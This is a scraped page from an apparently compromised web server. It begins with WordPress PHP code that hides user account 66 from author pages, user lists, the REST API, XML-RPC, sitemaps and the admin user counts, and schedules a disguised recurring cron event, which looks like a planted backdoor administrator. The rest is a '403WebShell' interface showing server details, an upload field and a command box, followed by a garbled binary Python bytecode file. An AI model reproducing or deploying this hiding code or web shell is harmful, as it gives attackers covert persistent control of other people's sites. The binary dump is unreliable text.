add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3/dist-packages/gi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3/dist-packages/gi/__pycache__/module.cpython-312.pyc
�

��f�&����ddlZddlmZddlZddlmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZddlmZmZddlmZmZmZmZm Z ejB�Z"iZ#d�Z$d�Z%Gd	�d
e&�Z'd�Z(y)�N)�Lock�)�
Repository�FunctionInfo�RegisteredTypeInfo�EnumInfo�
ObjectInfo�
InterfaceInfo�ConstantInfo�
StructInfo�	UnionInfo�CallbackInfo�Struct�Boxed�Fundamental�	CCallback�enum_add�enum_register_new_gtype_and_add�	flags_add� flags_register_new_gtype_and_add�
GInterface)�GObjectMeta�
StructMeta)�	TYPE_NONE�
TYPE_BOXED�TYPE_POINTER�	TYPE_ENUM�
TYPE_FLAGSc�Z�|j�}|sV|j�}|r|jr|jS|j�r|j	�rt
StS|j�}|j�}tjd|z�}t||�S�N�gi.repository.)�
get_parent�
get_g_type�pytype�get_fundamental�is_instantiatabler�object�
get_namespace�get_name�	importlib�
import_module�getattr)�object_info�parent_object_info�gtype�	namespace�name�modules      �+/usr/lib/python3/dist-packages/gi/module.py�get_parent_for_objectr4Bs���$�/�/�1����&�&�(���U�\�\��<�<���&�&�(�U�-D�-D�-F����
�"�0�0�2�I��&�&�(�D�
�
$�
$�%5�	�%A�
B�F��6�4� � �c���g}|j�D]U}|j�}|j�}tjd|z�}|jt
||���W|Sr )�get_interfacesr(r)r*r+�appendr,)r-�
interfaces�interface_infor0r1r2s      r3�get_interfaces_for_objectr;\sn���J�%�4�4�6�1��"�0�0�2�	��&�&�(���(�(�)9�I�)E�F�����'�&�$�/�0�1��r5c�*�eZdZdZdd�Zd�Zd�Zd�Zy)�IntrospectionModuleaUAn object which wraps an introspection typelib.

    This wrapping creates a python module like representation of the typelib
    using gi repository as a foundation. Accessing attributes of the module
    will dynamically pull them in and create wrappers for the members.
    These members are then cached on this introspection module.
    Nc�,�tj||�||_||_d|z|_tj|j�}|g|_|j�$tj|j�|_t�|_	y)z"Might raise gi._gi.RepositoryErrorr!N)
�
repository�require�
_namespace�_version�__name__�get_typelib_path�__path__�get_versionr�_lock)�selfr0�version�paths    r3�__init__zIntrospectionModule.__init__ost��	���9�g�.�#�����
�(�9�4��
��*�*�4�?�?�;�����
��=�=� �&�2�2�4�?�?�C�D�M��V��
r5c
����tj|j|�}|st|j�d|����t|t��rw|j�}|j5|j}|��1|j�r8|jt�rt|�}nN|tk(sJ�t|�}n7|jt �rt#|�}n|tk(sJ�t%|�}||_d|j)�z|_dj-dd�}|j/�D]B}|j1�j3|�}t5||||j7����D|j9�D]}t5||j|��|tk7r||_	ddd��nt|t:��r�|j�}t|t<�r5t?|��tA�fd�tC|�D��}	�f|	z}
tD}n�t|tF�rtHf}
tD}n�t|tJ�rtLf}
tD}n�t|tNtPf�r�|jtR�rtTf}
nb|jtV�s|tk(s|jX|k(rtZf}
n-t]d|j)��d|j_�����t`}ntc|��|j5|tk7r,|j}|�||
vr||jd|<|cddd�S|d|jz|d	�}
|||
|
�}|tk7r||_	ddd�n?t|tf�r|}n,t|th�r|j7�}ntc|��|jd|<|S#1swY�xYw#1swY�&xYw)
Nz object has no attribute r!��abcdefgjhijklmnopqrstuvwxyz�ABCDEFGJHIJKLMNOPQRSTUVWXYZc3�:�K�|]}t�|�s|���y�w�N)�
issubclass)�.0�	interface�parents  �r3�	<genexpr>z2IntrospectionModule.__getattr__.<locals>.<genexpr>�s$�����#I��*4�V�Y�*G�$-�#I�s�zunable to create a wrapper for �.)�__info__�
__module__�	__gtype__)5r?�find_by_namerA�AttributeErrorrC�
isinstancerr#rGr$�is_flags�is_arrrrrrrrXr(rY�	maketrans�
get_values�get_name_unescaped�	translate�setattr�	get_value�get_methodsrr	r4�tupler;rrrr
rrr
rrr�fundamentalr�	TypeErrorr)r�NotImplementedError�__dict__rr)rHr1�info�g_type�wrapper�ascii_upper_trans�
value_info�
value_name�method_infor9�bases�	metaclass�type_�dict_rUs              @r3�__getattr__zIntrospectionModule.__getattr__s�����&�&�t����=��� �!%����"6�7�
7��d�H�%��_�_�&�F����!
,� �-�-���?��}�}��!�;�;�z�2�&/��&7�G�#)�Y�#6�6�#6�&F�t�&L�G�!�;�;�y�1�&.�v�&6�G�#)�Y�#6�6�#6�&E�d�&K�G�'+�G�$�)9�D�<N�<N�<P�)P�G�&�
)+���5�5�)7�%�'+�o�o�&7�V�
�%/�%B�%B�%D�%N�%N�O`�%a�
����W�Z�=Q�=Q�=S�5T�U�V�(,�'7�'7�'9�L�����)=�)=�{�K�L��Y�&�$+�F�M�C!
,�!
,�F��0�
1��_�_�&�F��$�
�+�.�t�4��"�#I�>W�X\�>]�#I�I�
��	�J�.��'�	��D�,�/�"���'�	��D�-�0�#�
��'�	��D�:�y�"9�:��;�;�z�*�"�H�E��k�k�,�/��	�)��(�(�F�2�#�I�E�#�d�N`�N`�Nb�dh�dq�dq�ds�$t�u�u�&�	�)�$�/�/����
,��Y�&�"�M�M�E��(�U�%�-?�.3��
�
�d�+�$�
,�
,�!%�"2�T�_�_�"D�!'���
$�D�%��7���Y�&�$+�F�M�+
,�
,�.��l�
+��G�
��l�
+��n�n�&�G�%�d�+�+�
&��
�
�d����E!
,�!
,��@
,�
,�s�+EO�,O#�-O#�O �#O,c�f�tj|j�}d|j�d|�d�S)Nz<IntrospectionModule z from �>)r?rDrA)rHrJs  r3�__repr__zIntrospectionModule.__repr__�s%���*�*�4�?�?�;��59�_�_�d�K�Kr5c��tt|j��}|j|jj��tj|j�}|jd�|D��t|�S)Nc3�\K�|]$}t|t�s|j����&y�wrQ)r]rr))rSrls  r3rVz.IntrospectionModule.__dir__.<locals>.<genexpr>�s'����:�$�$�T�<�8��m�m�o�:�s�*,)
�set�dir�	__class__�updaterk�keysr?�	get_infosrA�list)rH�result�namespace_infoss   r3�__dir__zIntrospectionModule.__dir__�sh���S����(�)���
�
�d�m�m�(�(�*�+�%�.�.�t���?���
�
�:�/�:�	:��F�|�r5rQ)rCrY�__qualname__�__doc__rKrwrzr��r5r3r=r=gs���� k�ZL�
r5r=c�|�|tvr	t|Stj|�}t||�}|t|<|S)z�
    :Returns:
        An object directly wrapping the gi module without overrides.

    Might raise gi._gi.RepositoryError
    )�_introspection_modules�gi�get_required_versionr=)r0rIr2s   r3�get_introspection_moduler�sD���*�*�%�i�0�0��%�%�i�0�G�
 ��G�
4�F�(.��9�%��Mr5))r*�	threadingrr��_girrrrr	r
rrr
rrrrrrrrrr�typesrr�
_constantsrrrrr�get_defaultr?r�r4r;r'r=r�r�r5r3�<module>r�su��.��	�������(���$�Z�
#�
#�
%�
���!�4�V�&�V�r
r5

Youez - 2016 - github.com/yon3zu
LinuXploit